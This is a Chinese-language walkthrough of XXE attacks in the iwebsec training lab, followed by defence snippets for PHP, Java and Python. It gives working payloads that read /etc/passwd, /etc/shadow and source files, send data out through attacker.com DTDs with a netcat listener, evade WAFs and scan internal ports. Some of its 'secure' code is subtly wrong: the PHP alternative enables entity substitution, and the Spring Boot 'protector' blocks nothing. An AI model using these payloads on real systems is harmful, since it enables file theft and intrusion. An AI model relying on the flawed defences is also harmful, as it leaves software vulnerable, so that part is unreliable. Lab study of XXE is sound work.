iwebsec靶场 XXE漏洞实战:3种协议读取/etc/passwd与源码(附PHP/Java/Python防御代码) iwebsec靶场XXE漏洞深度实战从协议利用到多语言防御1. 靶场环境快速搭建与配置iwebsec作为专为Web安全设计的漏洞靶场其Docker镜像已预置XXE漏洞场景。执行以下命令即可启动环境docker pull iwebsec/iwebsec:latest docker run -d -p 80:80 --name iwebsec_xxe iwebsec/iwebsec启动后访问http://localhost/xxe即可进入实验界面。该靶场模拟了典型的XML数据处理场景关键漏洞代码如下$xmlfile file_get_contents(php://input); $dom new DOMDocument(); $dom-loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // 危险配置启用外部实体加载环境验证技巧使用docker ps确认容器状态通过Burp Suite拦截/xxe接口请求初始测试Payloadtesthello/test应返回200响应2. 三协议利用实战详解2.1 file://协议读取系统文件经典/etc/passwd读取?xml version1.0? !DOCTYPE data [ !ENTITY xxe SYSTEM file:///etc/passwd ] creds userxxe;/user passtest123/pass /creds进阶技巧Windows系统路径file:///c:/windows/system.ini特殊文件读取!ENTITY xxe SYSTEM file:///proc/self/environ !-- 环境变量 -- !ENTITY xxe SYSTEM file:///etc/shadow !-- 需root权限 --结果处理文件类型处理方式工具建议普通文本直接查看Burp Decoder二进制文件Base64编码读取php://filter权限受限文件尝试目录遍历../../跨目录2.2 php://filter获取源码Base64编码读取!DOCTYPE data [ !ENTITY xxe SYSTEM php://filter/readconvert.base64-encode/resource/var/www/html/index.php ]多文件批量获取技巧通过file:///var/www/html/目录列表确定文件路径使用链式过滤器!ENTITY xxe SYSTEM php://filter/convert.base64-encode|convert.iconv.UTF8.UTF16/resourceconfig.php解码工具推荐base64 -d file.txt output.php2.3 http://协议外带数据OOBOut-of-Band利用!DOCTYPE data [ !ENTITY % xxe SYSTEM http://attacker.com/evil.dtd %xxe; ]evil.dtd内容!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://attacker.com/?data%file; %eval; %exfil;网络监听准备# 攻击机开启HTTP服务 python3 -m http.server 8080 # 配合nc监听 nc -lvnp 80803. 防御方案与代码实现3.1 PHP安全处理最佳实践libxml_disable_entity_loader(true); // 彻底禁用外部实体 // 替代方案使用安全解析器 $dom new DOMDocument(); $dom-loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_NONET);输入过滤正则$filtered preg_replace(/!ENTITY.*?/i, , $xml);3.2 Java防御方案SAXParserFactory配置DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); dbf.setFeature(http://xml.org/sax/features/external-general-entities, false); dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false);Spring Boot拦截器示例ControllerAdvice public class XXEProtector implements WebMvcConfigurer { Override public void configureMessageConverters(ListHttpMessageConverter? converters) { converters.add(new XmlMapperHttpMessageConverter()); } }3.3 Python防护措施lxml安全解析from lxml import etree parser etree.XMLParser(resolve_entitiesFalse, no_networkTrue) safe_xml etree.fromstring(xml_content, parser)Django中间件示例class XXEMiddleware: def __init__(self, get_response): self.get_response get_response def __call__(self, request): if xml in request.content_type: request._body self.sanitize_xml(request.body) return self.get_response(request)4. 高级利用与检测技巧4.1 盲注检测方法时间延迟检测!ENTITY xxe SYSTEM http://attacker.com/?ping1delay5DNS外带验证!ENTITY xxe SYSTEM http://[UNIQUE_ID].attacker.com/4.2 绕过WAF技巧编码混淆!ENTITY % payload SYSTEM file:///etc/passwd !ENTITY % param1 !ENTITY #x25; bypass SYSTEM http://attacker.com/?%payload;协议嵌套!ENTITY xxe SYSTEM php://filter/readconvert.base64-encode/resourcefile:///etc/passwd4.3 内网探测实践端口扫描Payload!ENTITY xxe SYSTEM http://192.168.1.1:8080响应时间对照表响应时间可能状态判断依据100ms端口开放TCP握手成功2000ms端口关闭连接超时即时拒绝防火墙RST包响应5. 企业级防护体系建议SDL流程控制点需求阶段明确禁用XXE的架构设计开发阶段使用安全XML库白名单测试阶段DAST扫描手工验证运营阶段WAF规则定期更新WAF规则示例location / { if ($request_body ~* !ENTITY.*SYSTEM) { return 403; } }监控指标异常XML请求频率非常规文件访问日志外部实体加载行为